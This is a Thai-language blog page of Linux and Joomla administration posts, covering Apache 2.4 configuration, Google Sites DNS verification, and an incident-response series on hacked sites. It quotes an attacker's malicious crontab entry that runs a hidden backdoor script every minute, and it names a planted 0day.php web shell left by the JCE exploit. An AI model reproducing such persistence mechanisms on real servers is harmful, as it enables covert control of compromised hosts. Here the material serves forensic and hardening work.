Category: CMS (Joomla!, Moodle, Wordpress)

  • วิธีตั้งค่า Apache web server 2.4.x แตกต่างจาก 2.2.x

    asf_logo_wide
    เก็บตกจากวันวานเปิดอบรม Workshop Linux System Administration II (WS-LSA2) ที่ศูนย์คอมฯ 2 วัน ผมเตรียมเอกสาร workshop วิธีตั้งค่าหลายๆเรื่องบน ubuntu 12.04 แต่พอดีกับที่ ubuntu 14.04 ออกมาแล้ว จึงนำ ubuntu 14.04 มาให้ผู้เรียนใช้ติดตั้ง มันก็ไม่มีอะไรแตกต่างไปจาก ubuntu 12.04 ตั้งแต่เริ่มต้น installation จนกระทั่งมาถึงเรื่องที่เราจะตั้งค่าเกี่ยวกับ Apache web server ซึ่งทำให้ต้องแก้ไขเอกสารประกอบการสอนกันสดๆตอนนั้นเลย (ฮา)

    เพราะว่า Apache Web Server ที่อยู่ในแผ่น ubuntu 14.04 นั้นเป็นเวอร์ชั่น 2.4.7 ซึ่งมี Default Document Root อยู่ที่ /var/www/html ต่างจาก Apache Web Server เวอร์ชั่นก่อนหน้านี้ (2.2.x) ที่มี Default Document Root อยู่ที่ /var/www เป็นต้น

    พอจะสรุปได้ดังนี้

    Apache Web Server 2.2.x ทำแบบนี้
    1.พื้นที่ default ของ Apache Web Server คือไดเรกทอรี /var/www
    หากจะติดตั้ง Joomla CMS เราจะเตรียมพื้นที่สำหรับติดตั้ง joomla ไว้ที่ไดเรกทอรี /var/www/testjoomla ด้วยคำสั่ง sudo mkdir -p /var/www/testjoomla

    2.website config file จะอยู่ที่ไดเรกทอรี /etc/apache2/sites-available
    จะมีไฟล์ชื่อ default และ default-ssl มาให้
    และหากจะสร้าง VirtualHost pma.example.com เราก็สร้าง config file ที่มีชื่อไฟล์อย่างไรก็ได้ เช่น /etc/apache2/sites-available/pma หลังจากนั้นเราก็ enable VirtualHost นี้ จาก config ที่เราสร้างขึ้นใหม่ โดยการใช้คำสั่ง sudo a2ensite pma แล้วก็สั่ง restart apache

    3.เมื่อเข้าไปดูในไฟล์ default
    DocumentRoot จะอยู่ที่ /var/www

    4.Apache2 config file จะอยู่ที่ /etc/apache2/conf.d
    สมมติว่าต้องการเพิ่มการป้องกัน joomla web server ด้วย config file ชื่อ jce จะต้องทำดังนี้
    สร้างไฟล์ที่จะมีชื่ออย่างไรก็ได้ เช่น /etc/apache2/conf.d/jce แค่นี้ก็ได้แล้ว แล้วก็สั่ง restart apache และเมื่อจะไม่ใช้ config file jce นี้แล้ว ก็แค่ลบไฟล์นี้ทิ้ง

    แต่สำหรับ Apache Web Server 2.4.x วิธีการจะแตกต่างไป ดังนี้
    1.พื้นที่ default ของ Apache Web Server คือไดเรกทอรี /var/www/html
    หากจะติดตั้ง Joomla CMS เราจะต้องเตรียมพื้นที่สำหรับติดตั้ง joomla ไว้ที่ไดเรกทอรี /var/www/html/testjoomla ด้วยคำสั่ง sudo mkdir -p /var/www/html/testjoomla

    2.website config file จะอยู่ที่ไดเรกทอรี /etc/apache2/sites-available
    จะมีไฟล์ชื่อ 000-default และ default-ssl มาให้ (ต่างจาก 2.2.x)
    และหากจะสร้าง VirtualHost pma.example.com เราก็ต้องสร้าง config file ที่มี .conf ต่อท้ายชื่อไฟล์ด้วย เช่น /etc/apache2/sites-available/pma.conf
    หลังจากนั้นเราก็ enable VirtualHost นี้ จาก config ที่เราสร้างขึ้นใหม่ โดยการใช้คำสั่ง
    sudo a2ensite pma แล้วจึงจะสั่ง restart apache สำเร็จ

    3.เมื่อเข้าไปดูในไฟล์ default
    DocumentRoot จะอยู่ที่ /var/www/html

    4.Apache2 config file จะอยู่ที่ไดเรกทอรี /etc/apache2/conf-available และต้องสั่ง enable config file ที่ต้องการใช้งานก่อนจึงจะใช้งานได้ แล้วจะเกิดไฟล์ขึ้นอยู่ที่ไดเรกทอรี /etc/apache2/conf-enabled
    สมมติว่าต้องการเพิ่มการป้องกัน joomla web server ด้วย config file ชื่อ jce จะต้องทำดังนี้ เราต้องตั้งชื่อให้มี .conf ต่อท้ายด้วยคือ /etc/apache2/conf-available/jce.conf
    และใช้คำสั่งเพื่อ enable config file ดังนี้ sudo a2enconf jce แล้วก็สั่ง restart apache จึงจะสำเร็จ และเมื่อจะไม่ใช้ config file นั้น ก็จะต้องสั่งดังนี้ sudo a2disconf jce แล้วก็สั่ง restart apache จึงจะสำเร็จ

    ก็หวังว่าบทความนี้จะเป็น guide ให้แอดมินคิดออกว่า “เอ๊ะ! ทำไมเราตั้งค่าไม่ได้ทั้งๆที่เคยทำได้และทำอยู่บ่อยๆด้วย”

    ขอบคุณครับ

  • วิธีการตั้งค่า CNAME และ TXT เพื่อ Verification กับ Google Site

    Google Site เป็บบริการหนึ่งของ Google ซึ่งให้เราสร้างเว็บไซต์ได้อย่างง่ายๆ เหมาะสำหรับการงานที่ต้องการความรวดเร็วในการสร้าง และสามารถประสานกับเครื่องมือต่างๆของ Google ได้มากมาย เช่น จะสร้างแบบฟอร์มรับสมัครเข้าร่วมโครงการ, ทำรายงานผู้ที่ชำระเงินแล้ว, ผนวกกับ Google Map เพื่อแสดงตำแหน่งที่จัดงาน และสถานที่ท่องเที่ยว หรือ อื่นๆอีกมากมาย (วิธีการสร้าง จะกล่าวในบทความต่อๆไป)

     ในบทความนี้ เป็นการสร้าง เว็บไซต์ของงาน ประชุมสภาข้าราชการ พนักงานและลูกจ้างแห่งประเทศ (ปขมท) ๒๕๕๗ และเน้นที่ การเชื่อม Domain Name ของมหาวิทยาลัย ซึ่งใช้ Bind DNS เข้ากับ Google Site

    โดย Google Site ที่แสดงในตัวอย่าง สร้างที่ https://sites.google.com/site/cuast57/ ซึ่ง ชื่อจะจำได้ยาก จึงขอใช้ Domain Name สั้นๆชื่อ cuast57.psu.ac.th

    วิธีการมีดังนี้

    1. ไปที่ Setting > Manage Site

    2. คลิกที่ Web Address แล้วใส่ cuast57.psu.ac.th จากนั้นคลิกปุ่ม Add

    3. จะขึ้น error ด้านบน “You have not verfified domain ownership with Google. please follow these instructions” ให้คลิกที่ “these instructions”

     4. เลื่อนลงไปล่าสุดของหน้าจอ คลิกที่ “Webmaster Tools home page” (สมมุติว่าท่านเคยใช้งาน Google Webmaster Tools อยู่แล้ว)

    5. คลิกที่ Add A Site ให้ใส่ Domain Name ที่ต้องการ ในที่นี้คือ cuast57.psu.ac.th แล้วคลิก Continue

    6. คลิกที่ Alternate Methods > Domain name provider แล้วเลือก อันล่างสุด คือ other เพราะ Google Site ไม่เปิดให้เรา Upload File ขึ้นไป, ไม่สามารถแก้ไข Header หรืออะไรทำนองนั้นได้ จึงต้องใช้วิธีการนี้ ซึ่งจะต้องอธิบายตรงนี้เพื่อความเข้าใจ

     ในการที่เราคุม Domain Name แต่ใช้ Google Site นั้น สิ่งที่ต้องทำคือ สร้าง CNAME ไปยัง Google Site และ ทำการ Verification

    6.1 สร้าง CNAME ไปยัง ghs.googlehosted.com. เพื่อบอกว่า cuast57.psu.ac.th จะใช้บริการของ Google Site

    6.2 ต้องทำการ Verification โดยสามารถทำได้ 2 วิธีคือ

    1) ถ้าเราได้ Delegate Zone มา ก็จะสามารถใส่ TXT Record ลงไปได้ โดยใช้ค่าดังภาพ

     2) แต่ถ้าเราไม่ได้ Delegate Zone ก็จะต้องสร้าง CNAME ให้คลิกที่ “Add a CNAME record” ดังภาพ

    ให้เลือกวิธีการเอา แต่ในตัวอย่างนี้ เลือกวิธีการ 2) เพราะไม่ Delegate Zone มา และไปทำข้อ 7. ก่อน แล้วจึงกลับมาคลิกปุ่ม Verify ภายหลัง

    7. เพื่อทำการ Verification ให้สร้าง DNS Record ใน Bind DNS Server ดังนี้

    จากนั้น ทำการ sudo rndc reload แล้วกลับไปทำข้อ 6 เมื่อ Verification เสร็จ รอสักครู่ ก็จะสามารถเรียกใช้งาน cuast57.psu.ac.th ได้ครับ

    ขอให้โชคดี

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #12

    บทความนี้ จะกล่าวถึง วิธีการปิดช่องโหว่ของ Apache ที่ให้บริการ Web Hosting เลย เผื่อมีผู้ใช้ ติดตั้ง Joomla และมี JCE รุ่นที่มีช่องโหว่ จะได้ไม่สร้างปัญหา และ แนะนำวิธีสำหรับผู้พัฒนาเวปไซต์เองด้วย ที่เปิดให้มีการ Upload ไฟล์โดยผู้ใช้ผ่านทาง Web ด้วย … เพราะหน้าที่นี้ ควรเป็นของ Web Server Administrator ไม่ใช่ของ Web Master หรือ Web Author ครับ

    จากปัญหาช่องโหว่ของ JCE Exploited ของ Joomla ที่อธิบายไว้ใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3 ที่อธิบายขั้นตอนการเจาะช่องโหว่, วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4 ซึ่งเป็นวิธีการตรวจสอบค้นหา และทำลาย Backdoor และ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #11  วิธีการ Incremental Backup ซึ่งสามารถช่วยกู้ไฟล์ได้และรู้ว่า มีไฟล์แปลกปลอมอะไรเกิดบ้าง ซึ่งเป็นการแก้ปัญหาปลายเหตุทั้งสิ้น

    ส่วน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #5 กล่าวถึงการตรวจสอบว่า Software ที่ใช้งานอยู่มีช่องโหว่อะไรบ้าง ด้วยการตรวจสอบ CVE เป็นต้น

    สำหรับ JCE Exploited จะพบว่า การวางไฟล์ Backdoor จะเริ่มวางไว้ที่ไดเรคทอรี่ images/stories ที่ แกล้งเป็นไฟล์ .gif แล้วเอาโค๊ด PHP เข้ามาใส่ แล้วเปลี่ยนนามสกุลเป็น .php ภายหลัง ดังนั้น หาก Apache Web Server สามารถ ปิดกั้นตั้งแต่จุดนี้ได้ กล่าวคือ ต่อให้เอาไฟล์มาวางได้ แต่สั่งให้ทำงานไม่ได้ ก็น่าจะปลอดภัย และ หากพัฒนาเวปไซต์เอง หรือ ผู้ใช้ของระบบต้องการให้ Upload ไฟล์ไว้ในไดเรคทอรี่ใดได้ ก็ต้องแจ้งให้ Web Server Administrator รับทราบ และเพิ่มเติมให้ น่าจะทำให้ปลอดภัยมากขึ้นได้

    สมมุติฐานคือ

    1. ติดตั้ง OS และ Apache Web Server ใหม่

    2. ติดตั้ง Joomla ใหม่ หรือ เอา Web Application ที่ปลอดช่องโหว่อื่นๆ/Backdoor มาลง
      โดย Joomla ที่มีที่วางไฟล์ภาพไว้ที่ images/stories ส่วน Web Application อื่นๆ ขอสมมุติว่าตั้งชื่อไดเรคทอรี่ว่า uploads

    สำหรับ Apache2 บน Ubuntu Apache 2.2 นั้น มีโครงสร้างไดเรคทอรี่ดังนี้

    /etc/apache2/
    |-- apache2.conf
    |       `--  ports.conf
    |-- mods-enabled
    |       |-- *.load
    |       `-- *.conf
    |-- conf.d
    |       `-- *
    |-- sites-enabled
            `-- *

    เมื่อ Apache เริ่ม (Start) ก็จะไปอ่าน /etc/apache2/apache2.conf ในนั้น จะกำหนดภาพรวมของระบบ ได้แก่ ใครเป็นคน Start (APACHE_RUN_USER/APACHE_RUN_GROUP), การกำหนดชื่อไฟล์ .htaccess ที่เปิดให้ผู้ใช้ปรับแต่ง Apache ที่แต่ละไดเรคทอรี่ของตนได้, กำหนดว่า จะเรียกใช้ Module อะไรบ้าง โดยการ Include *.load, *.conf  จาก mods-enabled, กำหนดว่า จะเปิดให้มี Virtual Host อะไรบ้างโดยการ Include ไฟล์จาก sites-enabled และ ที่สำคัญ ผู้ดูแลระบบสามารถแยกไฟล์ config ออกเป็นส่วนย่อยๆเป็นไฟล์ โดยการ Include จาก conf.d

    ต่อไป สร้างไฟล์ /etc/apache2/conf.d/jce มีเนื้อหาดังนี้

    <DirectoryMatch ".*/images/stories/.*">
    <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

     และในทำนองเดียวกัน สร้างไฟล์ /etc/apache2/conf.d/uploads มีเนื้อหาดังนี้

    <DirectoryMatch ".*/uploads/.*">
    <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

    ก่อนจะ Restart/Reload Apache ทดสอบสร้างไฟล์ใน

    /var/www/joomla15/images/stories/0day.php
    /var/www/mywebapp/uploads/hack.php

    เมื่อเรียก URL
    http://localhost/joomla15/images/stories/0day.php

    http://localhost/mywebapp/uploads/hack.php

     ผลที่ได้คือ Backdoor หน้าตาประมาณนี้

    แต่พอใช้ Reload Apache ด้วยคำสั่ง

     sudo /etc/init.d/apache2 reload

     แล้วเรียก URL

     http://localhost/joomla15/images/stories/0day.php

     จะได้ผลดังนี้

    เป็นอันว่า แม้ Hacker จะสามารถเอาไฟล์ 0day.php ไปวางใน images/stories ได้ แต่ก็จะไม่สามารถทำงานได้ (อย่างน้อย ก็เรียกใช้ไม่ได้ แต่ผู้ดูแลต้องค้นหาและทำลายเป็นประจำ)

     อธิบายเพิ่มเติมเกี่ยวกับ Apache Configuration เล็กน้อย, การเขียนนั้น ประกอบด้วยสิ่งที่เรียกว่า Directive โดยแบ่งออกเป็น Container และ Directive ทั่วไป

    1. Container Directive: เป็นตัวบอกขอบเขต แบ่งออกเป็น

    1.1 FileSystem: ได้แก่

    1.1.1 <Directory directory-path> … </Directory>
    ตั้งค่ากับเฉพาะ ขอบเขตของ Directory ซึ่ง directory-path จะต้องเขียนตามให้เต็ม Path เช่น
    <Direcotory /var/www>
    ….
    </Directory>

    1.1.2 <DirectoryMatch regexp> … </DirectoryMatch>
    ตั้งค่ากับเฉพาะ ขอบเขตของ Directory ซึ่งสอดคล้องกับ regexp ที่กำหนด เช่น
    <DirecotoryMatch “.*/images/stories/.*”>
    ….
    </DirectoryMatch>

    1.1.3 <Files filename> … </Files>
    ตั้งค่ากับเฉพาะ ชื่อไฟล์ที่ตรงกับ filename ที่กำหนด เช่่น
    <Files “somefile.html”>

    </Files>

    1.1.4 <FilesMatch regexp> … </FilesMatch>
    ตั้งค่ากับเฉพาะ ชื่อไฟล์ที่สอดคล้องกับ regexp ที่กำหนด เช่่น
    <FilesMatch “.*\.php$”>

    </FilesMatch>

    1.2 WebSpace: ได้แก่

    1.2.1 <Location URL-Path> … </Location>
    ตั้งค่ากับเฉพาะ URL ที่ตรงกับ URL-Path เช่น
    <Location /private>

    </Location>
    1.2.2 <LocationMatch regexp> … </LocalMatch>
    ตั้งค่ากับเฉพาะ URL ที่สอดคล้องกับ regexp เช่น
    <LocationMatch “/(extra|special)/data”>

    </LocationMatch>

    2. Other Directive
    ซึ่งมีอยู่มากมาย กรุณาอ่านเพิ่มเติมจาก http://httpd.apache.org/docs/2.2/mod/core.html แต่ในที่นี้ จะขอยกตัวอย่างที่สำคัญ และจำเป็นต้องใช้ ตามตัวอย่างข้างต้น คือ

    Order ordering : อยู่ใน Module mod_access_compat, ค่า ordering ที่สามารถกำหนดได้คือ

    Allow, Deny ซึ่งจะพิจารณาการอนุญาตก่อนปฏิเสธ และ Deny, Allow จะปฏิเสะก่อนแล้วพิจารณาอนุญาต ให้เข้าถึงไฟล์ หรือ ไดเรคทอรี่ต่างๆ

    Deny all|host : อยู่ใน Module mod_access_compat, ค่า all หมายถึง ปฏิเสธทุกการเชื่อมต่อจากทุกๆที่, host สามารถเป็น IP Address หรือ URL ก็ได้

    Allow all|host : อยู่ใน Module mod_access_compat, ค่า all หมายถึง ยอมรับทุกการเชื่อมต่อจากทุกๆที่, host สามารถเป็น IP Address หรือ URL ก็ได้

    ดังนั้น ไฟล์ /etc/apache2/conf.d/jce ซึ่งมีเนื้อหาว่า

    <DirectoryMatch ".*/images/stories/.*>
     <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

    หมายถึง ถ้ามีการเรียก ไฟล์ที่อยู่ใน directory อะไรก็ตามที่มีส่วนหนึ่งของ Path เป็น images/stories ก็จะ ไปดูว่า ชื่อไฟล์ที่เรียกนั้น มีนามสกุลเป็น .php หรือไม่ (.* แปลว่า ตัวอักษรอะไรก็ได้, \. หมายถึงจุด “.” ที่ใช้เชื่อม filename และ extenstion และ $ หมายถึง สิ้นสุดข้อความ) ถ้าเป็นการเรียกไฟล์ .php ใน images/stories ก็จะ ปฏิเสธเสมอ (Deny from ALL)

    แล้ว ทำไมไม่ใช่ .htaccess ?

    จาก Apache Security Tips ไม่แนะนำให้ใช้ .htaccess เพราะปัญหาด้าน Performance เพราะทุกครั้งที่จะเข้าถึงไฟล์ จะต้องพิจารณา .htaccess ทุกครั้ง ในเวปไซต์ที่มีการใช้งานมาก อาจจะทำให้ความเร็วช้าลงได้ อีกประการหนึ่ง .htaccess นั้นอยู่ในไดเรคทอรี่ที่ผู้ใช้สามารถกำหนดสิทธิ์ (Permission) เองได้ หากพลาดกำหนดให้ Web User สามารถเขียนได้ อาจจะทำให้ Hacker เลี่ยงข้อกำหนดต่างๆได้ หาก ที่ Apache Main Configuration ประกาศ AllowOverride เป็น ALL

    ขอให้โชคดี

    Reference

    [1] “Apache HTTP Server Version 2.2 Documentation – Apache HTTP …” 2005. 7 Jan. 2014 <http://httpd.apache.org/docs/2.2/> .

    [2] “Security Tips – Apache HTTP Server.” 2005. 7 Jan. 2014 <http://httpd.apache.org/docs/2.2/misc/security_tips.html>

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #11

    ตั้งแต่ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1 เป็นต้นมา เป็นการแสดงให้เห็นถึง ปัญหา, การตรวจสอบ, การค้นหา หลังจากเกิดปัญหาแล้วทั้งสิ้น ก็จะเห็นได้ว่า ยุ่งยาก และเป็นเรื่องยากมาก ที่จะค้นหา Backdoor ให้หมด และการจะกำจัดให้หมดนั้นเป็นภาระอย่างมาก

    ในบทความนี้ จะกล่าวถึง การสำรองข้อมูลไว้ พร้อมๆกับ สามารถตรวจสอบได้ว่า มี Backdoor ใดเกิดขึ้น, มีการแก้ไขไฟล์เพื่อวาง Backdoor ไว้บ้าง, มีการเปลี่ยนแปลงไฟล์ของระบบเป็น Backdoor บ้างหรือไม่ และยังสามารถ กู้ระบบกลับมาได้ แล้วจึงดำเนินการป้องกันไม่ให้เกิดขึ้นซ้ำอีกได้

    การสำรองข้อมูล หรือการ Backup มี 2 แบบ

    1. Full Backup: สำรองทุกไฟล์และไดเรกทอรี่
    2. Incremental Backup: สำรอง “เฉพาะ” ไฟล์และไดเรกทอรี่ ที่มีการเพิ่ม หรือเปลี่ยนแปลง เท่านั้น

    เครื่องมือในการ Backup มีหลายอย่าง ในบทความนี้ ขอใช้ tar เพราะสามารถใช้งานได้ง่าย
    โดยยกตัวอย่าง เป็นการ Backup /var/www/joomla15

    1. Full Backup ทำได้โดยการสร้างไฟล์ fullbackup.sh และมีข้อมูลดังนี้

    d=$(date "+%Y%m%d%H%M%S")
    cp /dev/null joomla15.snar
    tar -zcvf joomla15-full-$d.tar.gz -g joomla15.snar /var/www/joomla15

    2. Incremental Backup ทำได้โดยการสร้างไฟล์ incrementalbackup.sh และมีข้อมูลดังนี้

    d=$(date "+%Y%m%d%H%M%S")
    tar -zcvf joomla15-inc-$d.tar.gz -g joomla15.snar /var/www/joomla15

    โดยคำสั่ง tar มีคำสั่งเพิ่มเติม เล็กน้อย คือ -g ตามตัว joomla15.snar ซึ่ง จะเก็บสถานะของการ Backup ล่าสุดเอาไว้ ทำให้สามารถทราบได้ว่า มีต้อง Backup ไฟล์ใดบ้าง, ส่วน ชื่อไฟล์ .tar.gz ก็จะนำหน้าด้วย วันเวลานาที ของการทำ backup ไว้

    เมื่อทำคำสั่ง

    sh fullbackup.sh

    จะได้ไฟล์นี้

    joomla15-full-20140105004433.tar.gz

    ต่อมา สมมุติ มีการโจมตี Joomla ด้วยช่องโหว่ของ JCE แบบนี้

    jce01

    เมื่อใช้คำสั่ง

    find /var/www/ -name "*.php" -type f | grep 'images/stories'

    ได้ผลดังนี้

    /var/www/joomla15/images/stories/0day.php

    และ สมมุติ Hacker ใช้งาน Backdoor 0day.php ดังกล่าวทาง URL

    http://localhost/joomla15//images/stories/0day.php

    และ แก้ไขไฟล์

    /var/www/joomla15/CREDITS.php

    ดังนี้

    jce02

    สรุปคือ Hacker สามารถ สร้างและเปลี่ยนแปลงไฟล์

    /var/www/joomla15/images/stories/0day.php
    /var/www/joomla15/CREDITS.php

    เมื่อใช้คำสั่ง

    sh incrementalbackup.sh

    จะได้ไฟล์

    joomla15-inc-20140105021906.tar.gz

    วิธีตรวจสอบ ไฟล์ที่เพิ่มเข้ามา และมีการเปลี่ยนแปลง ใช้คำสั่ง diff โดยเอารายการของไฟล็ใน .tar.gz มาเปรียบเทียบกัน ด้วยคำสั่ง

    diff <(tar -ztvf joomla15-full-20140105004433.tar.gz) <(tar -ztvf joomla15-inc-20140105021906.tar.gz) |grep '>'

    ผลที่ได้คือ จะทราบว่ามีไฟล์ ต่อไปนี้ เพิ่ม/เปลี่ยนแปลง

    > -rw-r--r-- www-data/www-data 15571 2014-01-05 02:10 var/www/joomla15/CREDITS.php
    > -rw-r--r-- www-data/www-data 14315 2014-01-05 01:55 var/www/joomla15/images/stories/0day.php

    หาก ต้องการไฟล์ต้นฉบับของ CREDITS.php ก็ใช้คำสั่ง

    tar -zxvf joomla15-full-20140105004433.tar.gz var/www/joomla15/CREDITS.php

    ก็สามารถกู้ไฟล์เดิมกลับมาได้ครับ

    ขอให้โชคดี

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #8

    ได้รับข้อร้องเรียนจาก Google Webmaster Tools ว่า มีเครื่องภายในมหาวิทยาลัย พยายามโจมตี เครือข่ายภายนอก และทาง Firewall ของมหาวิทยาลัย ได้ทำการปิดกั้น การเข้าออก ของเครื่องดังกล่าวแล้ว จึงเข้าตรวจสอบ

     ขั้นตอนการตรวจสอบ

     1. เบื้องต้น พบว่าเป็น  Ubuntu 8.04.4 LTS

    2. ตรวจสอบ ทำให้ทราบว่า Web User ใดที่สั่งให้ httpd ทำงาน ด้วยคำสั่ง

     ps aux |grep http

     ผลคือ

     nobody   31159  0.0  1.5  29056 15588 ?        S    Dec17   0:00 /opt
    /lampp/bin/httpd -k start -DSSL -DPHP5

     จึงทราบว่า Web User ใช้ชื่อว่า ‘noboby’ (จากที่เคยคุ้นชินกับ www-data, apache อะไรทำนองนั้น)

     3. ตรวจสอบ Process อย่างละเอียดด้วยคำสั่งต่อไปนี้

     ps auxwe

     ผลที่ได้ พบว่า มี Process ของ httpd ทั่วๆไป จะแสดงรายละเอียดอย่างนี้

    nobody     3460  0.0  1.3  28060 14348 ?        S    Dec01   0:00 /op
    t/lampp/bin/httpd -k start -DSSL -DPHP5 LESSOPEN=| /usr/bin/lesspipe 
    %s USER=root MAIL=/var/mail/root SHLVL=4 LD_LIBRARY_PATH=/opt/lampp/li
    b:/opt/lampp/lib:/opt/lampp/lib: HOME=/root LOGNAME=root _=/opt/lampp/
    bin/apachectl TERM=vt100 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin
    :/usr/bin:/sbin:/bin LANG=en_US.UTF-8 LS_COLORS=no=00:fi=00:di=01;34:l
    n=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01
    :su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.t
    gz=01;31:*.svgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31
    :*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.bz2=01;31:*.b
    z=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.
    rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*
    .jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;3
    5:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=0
    1;35:*.png=01;35:*.svg=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg
    =01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.
    m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:
    *.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;3
    5:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.aac=00;3
    6:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=0
    0;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36: SHELL=/bin/bash L
    ESSCLOSE=/usr/bin/lesspipe %s %s PWD=/root

    แต่ พบว่า มีอยู่รายการหนึ่ง แสดงผลอย่างนี้

     nobody    5106  0.0  0.2   4168  2184 ?        S    Nov21   1:17 /usr
    /local/apache/bin/httpd -DSSL                                         
    
                                              -m a.txt HOME=/nonexistent O
    LDPWD=/var/spool/cron LOGNAME=nobody PATH=/usr/bin:/bin SHELL=/bin/sh 
    PWD=/home/wwwroot/experience/images/smilies/.laknat/.libs

     จึงตรวจสอบ Process PID 5106 ด้วยคำสั่ง

     ls -la /proc/5106

     ผลที่ได้คือ

     ซึ่ง จะเห็นได้ว่า Process นี้ สั่งทำงานจาก /home/wwwroot/experience/images/smilies/.laknat/.libs/httpd

    แต่ ก่อนหน้านี้ ผู้ดูแลระบบ ได้ สำรองข้อมูลออกไป แล้วลบทิ้งไปก่อนแล้ว จึงขึ้นคำว่า (deleted)

     จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6 พบว่า Hacker มักจะเขียน crontabs เอาไว้ เรียก Backdoor กลับมาอีก จึงทำการตรวจสอบที่ /var/spool/cron/crontabs ด้วยคำสั่ง

     ls -l /var/spool/cron/crontabs/

    ผลที่ได้คือ

    -rw------- 1 nobody crontab 271 2013-11-21 21:45 nobody
    -rw------- 1 root   crontab 256 2011-12-30 09:46 root

     และเมื่อ cat ออกมาดู พบว่า

    cat /var/spool/cron/crontabs/root
    
    # DO NOT EDIT THIS FILE - edit the master and reinstall.
    # (/tmp/crontab.WBj4te/crontab installed on Fri Dec 30 09:46:13 2011)
    # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
    # m h  dom mon dow   command
    0 3 * * * sh /backup.sh
    cat /var/spool/cron/crontabs/nobody
    
    # DO NOT EDIT THIS FILE - edit the master and reinstall.
    # (a.txt.d installed on Thu Nov 21 21:45:40 2013)
    # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
    * * * * * /home/wwwroot/experience/images/smilies/.laknat/.libs/a.txt.upd >/dev/null 2>&1

     แสดงให้เห็นว่า มี crontabs ของ nobody สร้างเมื่อเวลา Thu Nov 21 21:45:40 2013

    4.เครื่องนี้ใช้ lampp เป็น Web Server ซึ่ง ใช้พื้นที่ทำงานคือ

     /opt/lampp

     โดย ให้ผู้ใช้แต่ละคน สร้าง Web ในพื้นที่ /home ของแต่ละคนได้

     และเก็บ Logs ที่

     /opt/lampp/logs

     จึงตรวจสอบด้วยคำสั่ง

     grep "21/Nov/2013:21:45" /opt/lampp/logs/access_log

     ผลที่ได้คือ

    03-logplacefile

    แสดงให้เห็นว่า มีการเรียกไฟล์ *.php ใน images/stories ซึ่ง น่าจะเป็นช่องโหว่ จาก JCE Exploited ตาม วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4 ซึ่งจะใช้วิธีการตามที่อธิบายไว้ก่อนหน้านี้แล้ว เพื่อตรวจสอบต่อไป

    5. เนื่องจาก ผู้ดูแลระบบ ได้สำรองข้อมูลของ /home/wwwroot/experience/images/smilies/.laknat/.libs/ เอาไว้ จึง เรียกออกมาดู

    ได้ผลดังนี้

    จะเห็นได้ว่า ไฟล์ a.txt.upd ถูกสร้างเมื่อเวลา 2013-11-21 21:45 จริงๆ

    เมื่อใช้คำสั่ง

    cat a.txt.upd

     ได้ผลว่า

    a.txt.upd

    จึงลองตรวจสอบ a.txt.run ด้วยคำสั่ง

    cat a.txt.run

     ได้ผลว่า

     a.txt.run

    และใช้คำสั่ง

    cat a.txt

     ซึ่งเป็นโปรแกรม ภาษา TCL ซึ่งมีรายละเอียดยาวมาก แต่ มีส่วนหนึ่ง เขียนว่า

    a.txt

    และจากการตรวจสอบ ทั้ง directory ก็พบว่า เป็นการเอา Network Tools ต่างๆ ได้แก่ Sniffer, Network Scanner และ อื่นๆอีกมากมาย ซึ่ง เอาตัวโปรแกรม เช่น TCL แบบ Portable มาด้วย หมายความว่า แม้เครื่อง Server ไม่ติดตั้ง TCL ก็สามารถทำงานได้เลยทีเดียว

     ดังนั้น เครื่องนี้ ถูกสั่งงานจากทางไกล กลายเป็น Botnet เพื่อตรวจสอบ เครื่องแม่ข่ายภายใน แม้มหาวิทยาลัยจะมี Firewall ป้องกัน แต่ถูกเครื่องนี้ ดักเก็บข้อมูล และแสดงผลกลับไปให้ Hacker ผ่านทาง Port TCP/80 ซึ่ง Firewall เปิดให้ใช้งานได้เลย

     5. ตรวจสอบว่า มีไฟล์ *.php ใน directory images/stories อีกหรือไม่ ด้วยคำสั่ง

     find /home -name "*.php" -type f | grep 'images/stories'

     ก็พบเพียงไฟล์เดียว คือ

     /home/wwwroot/research_old/images/stories/gh.php

     ซึ่งผิดสังเกต เมื่อตรวจสอบไฟล์ที่สร้างขึ้นในเวลาใกล้เคียงกัน ก็ไม่พบความผิดปรกติ ซึ่ง ไม่ปรกติ

